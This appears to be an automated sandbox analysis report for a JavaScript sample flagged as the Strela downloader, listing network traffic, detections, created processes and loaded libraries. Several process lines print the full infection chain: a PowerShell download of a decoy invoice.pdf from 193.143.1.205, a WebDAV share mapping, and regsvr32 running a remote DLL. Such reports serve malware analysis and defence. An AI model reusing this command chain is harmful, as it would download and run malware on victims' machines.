HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1424518084.00000257555AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1487638301.0000019200578000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1484675923.00000192005AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1482449338.00000192005CE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1494341717.00000192005D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1494341717.00000192005AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1484675923.00000192005AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/_
Source: net.exe, 00000007.00000002.1487638301.0000019200578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/paced:
Source: svchost.exe, 00000009.00000002.2725149821.0000026F93800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1485374834.0000026F93A50000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7764, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 18444172742706830592.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5568

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7860:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lvyddcbp.kop.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1576,i,16076830456846733305,14261767884181215258,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1576,i,16076830456846733305,14261767884181215258,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
